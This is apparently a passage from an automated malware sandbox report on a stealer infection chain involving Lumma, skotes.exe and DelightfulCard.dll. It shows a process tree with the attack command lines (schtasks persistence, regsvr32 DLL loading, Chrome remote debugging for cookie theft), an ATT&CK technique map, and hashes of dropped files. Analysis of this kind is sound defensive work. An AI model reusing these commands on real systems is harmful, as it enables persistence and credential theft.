                                        • Uses browser remote debugging
                                        PID:6428
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4576,i,2427019424258856408,5191399411740478578,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4472 /prefetch:1
                                        5⤵
                                        • Uses browser remote debugging
                                        PID:5524
                                    • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                      "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      PID:1760
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                                      4⤵
                                      • System Location Discovery: System Language Discovery
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:5920
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 1848
                                      4⤵
                                      • Program crash
                                      PID:2348
                              • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                1⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5264
                              • C:\Windows\system32\regsvr32.EXE
                                C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll
                                1⤵
                                • Loads dropped DLL
                                PID:5580
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\Admin\AppData\Roaming\DelightfulCard.dll' }) { exit 0 } else { exit 1 }"
                                  2⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:6016
                              • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                1⤵
                                  PID:6152
                                • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  PID:4568
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1944 -ip 1944
                                  1⤵
                                    PID:1560

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Command and Scripting Interpreter

                                  3
                                  T1059

                                  JavaScript

                                  1
                                  T1059.007

                                  PowerShell

                                  1
                                  T1059.001

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Modify Authentication Process

                                  1
                                  T1556

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Privilege Escalation

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Defense Evasion

                                  Hide Artifacts

                                  1
                                  T1564

                                  Hidden Files and Directories

                                  1
                                  T1564.001

                                  Impair Defenses

                                  2
                                  T1562

                                  Disable or Modify Tools

                                  2
                                  T1562.001

                                  Modify Authentication Process

                                  1
                                  T1556

                                  Modify Registry

                                  3
                                  T1112

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Credential Access

                                  Credentials from Password Stores

                                  1
                                  T1555

                                  Credentials from Web Browsers

                                  1
                                  T1555.003

                                  Modify Authentication Process

                                  1
                                  T1556

                                  Steal Web Session Cookie

                                  1
                                  T1539

                                  Unsecured Credentials

                                  1
                                  T1552

                                  Credentials In Files

                                  1
                                  T1552.001

                                  Discovery

                                  Browser Information Discovery

                                  1
                                  T1217

                                  Query Registry

                                  8
                                  T1012

                                  System Information Discovery

                                  6
                                  T1082

                                  System Location Discovery

                                  1
                                  T1614

                                  System Language Discovery

                                  1
                                  T1614.001

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Lateral Movement

                                  Collection

                                  Data from Local System

                                  1
                                  T1005

                                  Email Collection

                                  1
                                  T1114

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                    Filesize

                                    2B

                                    MD5

                                    d751713988987e9331980363e24189ce

                                    SHA1

                                    97d170e1550eee4afc0af065b78cda302a97674c

                                    SHA256

                                    4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                    SHA512

                                    b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                    Filesize

                                    3KB

                                    MD5

                                    556084f2c6d459c116a69d6fedcc4105

                                    SHA1

                                    633e89b9a1e77942d822d14de6708430a3944dbc

                                    SHA256

                                    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

                                    SHA512

                                    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    1KB

                                    MD5

                                    e44394ae79974e557d6b391bb471a3b1

                                    SHA1

                                    a5d7d96ef2b0fcf55af4a9fd8744c69474284cc3

                                    SHA256

                                    6f6442e7b508dc7088a89404bc505fa1d3d1ee8ec8e41be0ddbb3ca30ba9e589

                                    SHA512

                                    f0423d83c5a389c7fcadd26b49e5eeddd90e84a905f74e5c2adf57a6e65a265a13fe51499f663f54792baca29050907233ddea8b61d34cbd0f15f4dd771e2cc3

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    944B

                                    MD5

                                    4e577a8684abd0c5801c6e07b869e4fd

                                    SHA1

                                    4553d356b4e7dae7cd74ed2b5216a0d06d805ef0

                                    SHA256

                                    7f145675e6cc035efc8934d9c6e17524f26c7dd32c4eb1d78bb6bda921e00422

                                    SHA512

                                    a8147a4d9afc00c6f9189e3c612c202352f339f389464669ffd02ea89a788e1c4b52b98c368bffbeeadd83adede6f1e3cfb65d54b3aa6857689a6a63f4a7d2cc

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    944B

                                    MD5

                                    cae60f0ddddac635da71bba775a2c5b4

                                    SHA1

                                    386f1a036af61345a7d303d45f5230e2df817477

                                    SHA256

                                    b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16

                                    SHA512

                                    28ed8a8bc132ef56971cfd7b517b17cdb74a7f8c247ef6bff232996210075e06aa58a415825a1e038cfb547ad3dc6882bf1ca1b68c5b360ef0512a1440850253

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    944B

                                    MD5

                                    ba169f4dcbbf147fe78ef0061a95e83b

                                    SHA1

                                    92a571a6eef49fff666e0f62a3545bcd1cdcda67

                                    SHA256

                                    5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

                                    SHA512

                                    8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    1KB

                                    MD5

                                    b3e782b838cf024259141f779cd62e69

                                    SHA1

                                    6099b6d0aef00c68870aade5424b54be3c797e90

                                    SHA256

                                    c2ce11e8c6fe667f5552ac40077df143487404577eba4f481455e91176806256

                                    SHA512

                                    e9d32c41abab27595df415271e8d5d15a7053e438db38a2f8e763d812b94d23750adb742851e1e86f12c4c20426b0817e32bfc4765b6f2dbd4d8cd0bbb21ece0

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    Filesize

                                    1KB

                                    MD5

                                    5531ead3eea8d8cc2e290d98d546ecb6

                                    SHA1

                                    5188338313c132422f8eac85be19ac3ebe7b1df7

                                    SHA256

                                    4f9115dc1c92a8acc22a96a2e79308aef5c521db912ecd388d2b1a3e5cfa6a0e

                                    SHA512

                                    85f9235271f36fa458bd3927c31a95849ab3d3a58b5628e872a018b57ee2d6c50b1cdd8ea6b0a031a34a7368988c466dc4326c7df8918e6cc0e464312e8701cf

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\qgf82dd5.default-release\activity-stream.discovery_stream.json.tmp
                                    Filesize

                                    26KB

                                    MD5

                                    b4a3e6340d5f620fbf2a185c21394ca5

                                    SHA1

                                    07bf9d1e46aa4ea49db22de96256b91db5c1597c

                                    SHA256

                                    df2b41a2ca718141215feae4ad53dc87a279338799fd69315e682e6037d48c88

                                    SHA512

                                    cd42db9706f499c13945a3a771f3608eb8b177bdaacb64b61fab933c5a84594a577183c7eedfbf6b4ea8329f9c6ef51ea49d5af970737ec1c7ca9a56e1582add

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\qgf82dd5.default-release\cache2\entries\39DB9E847E680B765D7B04FCCE6BF5BC0225F878
                                    Filesize

                                    13KB

                                    MD5

                                    0e1fa95d1fde2bfe0b0c1e8fb49029a7

                                    SHA1

                                    0fbd5fbdae2185517f768e116312a5cdd3044126

                                    SHA256

                                    0306fd257e39a2644804950dec0deaf1408fef5227e87c84aad7486d0ca10d86

                                    SHA512

                                    45d3c1d84c3512045be8f504bd2f6cadc8774f5d242f5f93264823e17d6d1933d985076f3413bf773a0044e2e4d1198b083db11fcb881a8f52b168140dfea59f

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1007744001\Lumma111.exe
                                    Filesize

                                    3.2MB

                                    MD5

                                    b570fcbe697ef79db835d9b654974874

                                    SHA1

                                    cf82bcfafbd35a42a4cb7893b4acae9941ee9f5a

                                    SHA256

                                    34255258fadbcfaa0d061722ae85b5e25bcc3b90f2f10825b75d0cb4f27e1a8b

                                    SHA512

                                    4226fd46a072458e4520a5db5849ed1d38fe2d960a9ffe1a91aa6db079110dc69c5648e32deb0da9f9c139d8fa59ca2a324748405b390fd29ae48ef78bbd8470

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe
                                    Filesize

                                    1.8MB

                                    MD5

                                    fa351b72ffb13bfc332a25a57a7f075f

                                    SHA1

                                    5af49613c179bed23dd43d76aedbe3d1b63004a3

                                    SHA256

                                    d2c90431f09fc7818c5afb43bbec077fc29544ddcb786bc655a82d1c33e20cdc

                                    SHA512

                                    de49eeaa695f9d6252bd3b547689b0e648999c7ee68d2e16a3d073d88505a1c6b0a4da538db7ce52653bfc2dc89a13dd07c894f8e28f9227f1d1c92df67216f9

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe
                                    Filesize

                                    50KB

                                    MD5

                                    666248c216a3f63828f739839230f9f6

                                    SHA1

                                    13690837235053762a538b4c5b2b601ec9f6bb22

                                    SHA256

                                    00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da

                                    SHA512

                                    37e57468a080dbb33ee480ae63d80939ff06050035f168630ba1d8e220e1b4859f78f897a12ba83a514bc97ed7927ee01c6fcca67fbaf479294a529302f7bdde

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe
                                    Filesize

                                    1.4MB

                                    MD5

                                    e1cf72329542de8b3004517ee07d8371

                                    SHA1

                                    c22ac1f279cc11dffd30a41863181da598231d4b

                                    SHA256

                                    301e56052cf570110e66a429c0acc2454569ff5f966af0e809bef33eb2e02baa

                                    SHA512

                                    7267aa2244edd22b4ceda89e8e188180bcc409320f77b0d9fc9fbb63c0906ab23dc9dff4bd5e02018aa08194cb8bb8dcd0b28ae1c44b2497a13bb21411ec6edc

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe
                                    Filesize

                                    72KB

                                    MD5

                                    8d52069bd117da94e0b0b70e73e33fb0

                                    SHA1

                                    e8090adddff167e1bda4194af968ba4bc22a2d60

                                    SHA256

                                    b3e217c467cfe1e8079e82b88f2f99950a9459330a8843070ebb34bf3e2bcf38

                                    SHA512

                                    7a91eeb0cf3edb53d0ac3d51abe85c97bb09da5b334b387fda90144a2f3729693367c451fee9e04cb953dcf8d9d1b91ee12961bfe9f1e53c0ab06aababd696ed

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008108001\8e499cd4e2.exe
                                    Filesize

                                    1.8MB

                                    MD5

                                    ac933d30f0cad391f7fad37cc15ae685

                                    SHA1

                                    1f52b9bbb6bd9c183920330fa1cc8e4797b081f5

                                    SHA256

                                    97e58900485238b185fd6ce5b822a634a455db4e86739b7b9ab1ad3031828c62

                                    SHA512

                                    5e65e77c6aa40f0e319e00530e966790828f89e4744557af4917c1ddda176009b80636fa23d2aaec4531045dd2e640eb89e325f186207b43b56747e76970d4f4

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008109001\adc4548f71.exe
                                    Filesize

                                    1.7MB

                                    MD5

                                    fcab8c77edd9c235497e92d29b6c028d

                                    SHA1

                                    5bea36fb1edcb3801f5f7d5dacda5d0ffd5ac020

                                    SHA256

                                    ece1bbf67dbee347fca668310d9fcf40f8e736d56bc81fb97e5f12f0d08ab3cb

                                    SHA512

                                    a322e25357dbc738e8085deee5d1187ca1a411b5781cb878455e7615b2a7e6f77d70c36a768308c382afe614e5c8618c106155a5a6635c265243714215c83601

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008110001\27329d39c4.exe
                                    Filesize

                                    901KB

                                    MD5

                                    51357ae78c6b77c5901de126fcb38df3

                                    SHA1

                                    5b94c30c47960dcc2fe2972dfa54e8e96171410d

                                    SHA256

                                    2b1dfc50f7374f9cef49b0a56e9aff668ed419dc9a435ba4e03585fab9caf12d

                                    SHA512

                                    1bae6e269d1d01c05962ec997e11e2316b4e5bc85f54c2472ec2e261b708e3aa67d3cd7f3bfb9fab48550eed01322c3c4c0cdf3f646eb7a9e5f022bf0d86adb4

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008111001\c908739900.exe
                                    Filesize

                                    2.8MB

                                    MD5

                                    0088235be044c8a88124dd1b58b186e7

                                    SHA1

                                    31107b10e2d6f4d9b928aaf8fc53ec209823c0c4

                                    SHA256

                                    9ba473c3f4b60970545a8756d91f2461a84c6236aee185f89f064e0fbc60599e

                                    SHA512

                                    795f3faf3ea95e0e796ef62353072a5cb6eaa00884694b62b747e43492dd4591cede7fae2a280711fcd8dc7ee6f509e46259564942d3448c403e2bc31ac85fd2

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1008112001\6b6d057204.exe
                                    Filesize

                                    4.2MB

                                    MD5

                                    12cd0d9c479c98fd981eec5c93de5b81

                                    SHA1

                                    d6eb3df1e15d86dca156f9e9d57b6faf62559b6c

                                    SHA256

                                    b2c5eff51d7f0692f552e043af3f5324cf25dccadda349d59c5dc5e95d265eb3

                                    SHA512

                                    74674519f5702f5347be782314b5fe4e68c3e00d0baac6dfe103b3f12d9a97fdd7876d56983d599162beef9d92a3294cfd2c2da00b7f6b7dd96effe9679b752c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnihllry.fyg.ps1
                                    Filesize

                                    60B

                                    MD5

                                    d17fe0a3f47be24a6453e9ef58c94641

                                    SHA1

                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                    SHA256

                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                    SHA512

                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                    Filesize

                                    3.1MB

                                    MD5

                                    a69aa32f8ef6d84b33b18056e03d52d7

                                    SHA1

                                    302d6aeb0e86201b7048a9f39b6aa5d476a2d38e

                                    SHA256

                                    de6b319d9a954c0d1d2889e288c0753b8920abd685bab8143f085443f981b7ca

                                    SHA512

                                    e1c1637e7be30652e3b732c7c2d8ec1135209ece72f54d6a131cb27af241c962e914acb78aaa68a5150deeaf9ed46c35b9eb9a0decce43fa03438539035c5f2c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\is-BL5JC.tmp\FunnyJellyfish.tmp
                                    Filesize

                                    1.1MB

                                    MD5

                                    14c6fa8e50b4147075eb922bd0c8b28d

                                    SHA1

                                    0faad18b0e26ce3b5c364621a4f0aee9db56a9a7

                                    SHA256

                                    90c4a61af494b63ecfe1226714175675a4e49e57d50718491b3bc8fe29dd8fc7

                                    SHA512

                                    e6c35bbcaa9a8bb306e58bb91aadf5feed6b1ad1df6ee0e68bf3bae9b76d84c862b4ee9dd87a1d288fe1b7aaaac13467964436a09ec529f67af50905cd0ef876

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\is-ENCQ5.tmp\_isetup\_shfoldr.dll
                                    Filesize

                                    22KB

                                    MD5

                                    92dc6ef532fbb4a5c3201469a5b5eb63

                                    SHA1

                                    3e89ff837147c16b4e41c30d6c796374e0b8e62c

                                    SHA256

                                    9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87

                                    SHA512

                                    9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\7z.dll
                                    Filesize

                                    1.6MB

                                    MD5

                                    72491c7b87a7c2dd350b727444f13bb4

                                    SHA1

                                    1e9338d56db7ded386878eab7bb44b8934ab1bc7

                                    SHA256

                                    34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                                    SHA512

                                    583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                                    Filesize

                                    458KB

                                    MD5

                                    619f7135621b50fd1900ff24aade1524

                                    SHA1

                                    6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                                    SHA256

                                    344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                                    SHA512

                                    2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
                                    Filesize

                                    897KB

                                    MD5

                                    18eb75ef50b1a51600e686b6b9de277e

                                    SHA1

                                    5e83c15e87350658526327253fbd22c546bf9c01

                                    SHA256

                                    f5bce7485128ff917d769fccb01ce12639ff2278e132cf869e5e90e1a82af46d

                                    SHA512

                                    eb5afb258a8d6e919b6c1fe73e050a4f43e60c31c34ac2f89c6b94e10660af26abd6e63863e72fe27cb05b66faaa0a424527cc8e45e2b4ac07d4e38c0563cf36

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
                                    Filesize

                                    2.2MB

                                    MD5

                                    5054a8df169d8e6d7b594e0745d359c5

                                    SHA1

                                    1494d40f91553d1f288a86c7ba8a622fb7830240

                                    SHA256

                                    9fc8e80432dd949130510671d7810110f5c84fd1876a8c624b500d1b1a999446

                                    SHA512

                                    702069b56a78cd925c5ae032c978c375f19e81e4191c3da5da04791a9617c8778a1a1f737afba90eb32976e9993e20626c1d407bb863733e2a871d9f772a9ba1

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
                                    Filesize

                                    735KB

                                    MD5

                                    205e19df5c0da1b5176b63deac4d13fc

                                    SHA1

                                    7dbf4ddf79dfe58128d3f63a8c4d85d113ed281b

                                    SHA256

                                    2b1da540c478e02bdf98492ec614c42c5d1c78c784a063cd4a4ec15963064eb0

                                    SHA512

                                    0fc10261712f2a3ec5b113ae648069c2f4a09f6ce1e051fdd568e2ba1ea719f1487ed058a4202efd39b7ae9d027cf8c981ed949894eabdab848a5a9cf22dce23

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
                                    Filesize

                                    735KB

                                    MD5

                                    1171bf3e9eb3d2938f47925b7ade0d6c

                                    SHA1

                                    b07e871d019c4a9845f04eab8f094f9bb1310584

                                    SHA256

                                    9191d250d7c10f4b87162ce79df4da34747be7e050381bf5d679acd8353c4d82

                                    SHA512

                                    478da18f0e4d47cd18769b2a19dedee10cfea1aa34251e68a8d9a8396770e9c90f386b17ebb12defab2c4da065650de7ff538f6f4e29e5ade9af82d1c4c1bcd7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
                                    Filesize

                                    735KB

                                    MD5

                                    d5779b3f2c5aabf196d0b6292473e64d

                                    SHA1

                                    51c3140d860182bd7b61d2a79bba1e1961cd01e2

                                    SHA256

                                    f9a01e32a05911fd847822dae4c55a326d8fe136b07ce68904fec07cfbd1ad37

                                    SHA512

                                    2358f28aac9ff742a893d74d3ac8e2b054c86f47020eef9b09d114253d4e64f73eb3541043a5696d5ab2c0a0854a2ff832e643d2f85c14488af8656e34f27635

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
                                    Filesize

                                    2.3MB

                                    MD5

                                    6e04efee8e6df916933215d9aabae042

                                    SHA1

                                    1f6faefe1da576d29f842702504d4ef721d62998

                                    SHA256

                                    c41e5d3dd6f0a2feabac65cec0e483fe88447c11b6aed134813f7d0597edaca4

                                    SHA512

                                    2cb413ccbd45bf4ad593ae023dc8c33442cf86e075c902389c933cb03f2f31d5242c348feafe0108437d1a99ab19e3d053c26990e01ba806066093ab212e7e85

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\file.bin
                                    Filesize

                                    2.3MB

                                    MD5

                                    20696d307f6b19d3094724a2c845551b

                                    SHA1

                                    04dfc0d64983f8834d382025c870777d93855fe9

                                    SHA256

                                    666bd2360b3750697bfc114ebc1e43604b25659b8a865eb2f24d5c358d1880bb

                                    SHA512

                                    a2af70eaef93ab608d84d09a984f0a52076d7f430f504178e34028ca6d7745e772bec9aad7f2bec584e11c86cd429e05844b1c0596804f54fb1758fb15965fe1

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\main\main.bat
                                    Filesize

                                    474B

                                    MD5

                                    b14620f36e8d77e3a1bb6a92121e3279

                                    SHA1

                                    bca0b9fcd9571794ed27087edc1e777964263768

                                    SHA256

                                    45a58f7a7cc5a7bfe8c5b7d1fcac799c9b6cd5b7cc07adb7a517fcca512451b8

                                    SHA512

                                    b4c2d995527cc7d5909a9141d3d74dcd86c7cd74448a572298bf3d537a2527a5b36c45e725d2a14770cece73617d58e7ecd7cfd8d1060dff10caafdb1a141f1a

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\tempScript.js
                                    Filesize

                                    2KB

                                    MD5

                                    82f229d0c36b68073da70ef5958e425d

                                    SHA1

                                    2beb8cd227b49b1d119165d6e3d258ddb730387a

                                    SHA256

                                    0f2579fdb9cbaaec15015df17dbaafd73a9d7d3202321aba6a1c8479cac17394

                                    SHA512

                                    4553f11b61e2c1cb1ebf532e7417380a8a5c19121331b76894bf5d3605a905fa3f62b54d596a818709f28c49fd7eb1d880798907a84cac45ccff65ee93f9e970

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\tmpaddon
                                    Filesize

                                    479KB

                                    MD5

                                    09372174e83dbbf696ee732fd2e875bb

                                    SHA1

                                    ba360186ba650a769f9303f48b7200fb5eaccee1

                                    SHA256

                                    c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f

                                    SHA512

                                    b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\tmpaddon-1
                                    Filesize

                                    13.8MB

                                    MD5

                                    0a8747a2ac9ac08ae9508f36c6d75692

                                    SHA1

                                    b287a96fd6cc12433adb42193dfe06111c38eaf0

                                    SHA256

                                    32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03

                                    SHA512

                                    59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\CMD.vbs
                                    Filesize

                                    27KB

                                    MD5

                                    238ec4d17050e1841e8e0171407c2260

                                    SHA1

                                    2c8c14b257641f1e1151c6303dabde01621314f2

                                    SHA256

                                    163c4066da47b2e8b7d3690a374c79856417de2e09c74c0e7c807cd0b5c4b8fb

                                    SHA512

                                    3eaa1ebca8b9ad021342846040faf19c5ef420c319a9a649b31ffb9107b54d71f60f6e4372e0256f123b931f5c3dd11a34ad9c4ccb7d0a3c687a90ba50cd2102

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\DelightfulCard.dll
                                    Filesize

                                    2.6MB

                                    MD5

                                    985fef2b6872a1a94726dc3b7f1439de

                                    SHA1

                                    e221a5c4f2f222b665c932ab9b1f66189cee3315

                                    SHA256

                                    78ef7eacffaba55e653195fe37846375aeb51b164d80ad312afda54163da0622

                                    SHA512

                                    41678a3e117cb83e7b99a65a6d0dda86db57ac0441d84ca817d6e04fa3751d4035215e8cd50bcd86b7232d1c28620103264f3a677ac14513d1fa0d977ba94f39

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk
                                    Filesize

                                    962B

                                    MD5

                                    c2e1e97935faac055ec8638ce883f09f

                                    SHA1

                                    2e25e0825370465e9ce8b32e02670fe0ee919fbd

                                    SHA256

                                    d3ca3087ea70082f4454112993a909f2d92dcbfc62c3d095ffc4b33c1288f0cb

                                    SHA512

                                    686f4828eb58b165a808889b338ed75d09e93b42659723bce9e5403e79d1b7d91c60a1003c65bf395cc557be0e5e9c3f44a6035a8d9dbb70965d1c5f63cbe4eb

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\qgf82dd5.default-release\AlternateServices.bin
                                    Filesize

                                    6KB

                                    MD5

                                    cd82571d4c9414330b92b44292576003

                                    SHA1

                                    d9d9788d591e4b63fc9252e67a9ebf465a083dd1

                                    SHA256

                                    8b81fef3a5d96d5f972c43b37867039c7d18e7bc10138ad7cad55edd3c8353d2

                                    SHA512

                                    6859433018eaaece696bb1b7fd7ec971a32d22eb1ab87f66e0832b2531058879f0f8db2e22d6c3e23aaca0e387de332ad4aec92c22ee7d99027263f5e09e5613

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\qgf82dd5.default-release\AlternateServices.bin
                                    Filesize

                                    8KB

                                    MD5

                                    43a02b897150c2567c62224cba2d2706

                                    SHA1

                                    7a81c8a69cf676338b061094b363d44990c376d5

                                    SHA256

                                    2d3f0c171df26d8581bd2dedb0a62165cf1c99f851904e7a0ffd8cb968b2320c

                                    SHA512

                                    e9c5d00954b04d69c532c3605771fcbcc04dac21f83039be88646af63d5dc8bc14c84ed2dcf1d05737e16c4bcee2bfd132211ee4ad33a16c7622401f84e474df

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\qgf82dd5.default-release\AlternateServices.bin
                                    Filesize

                                    10KB

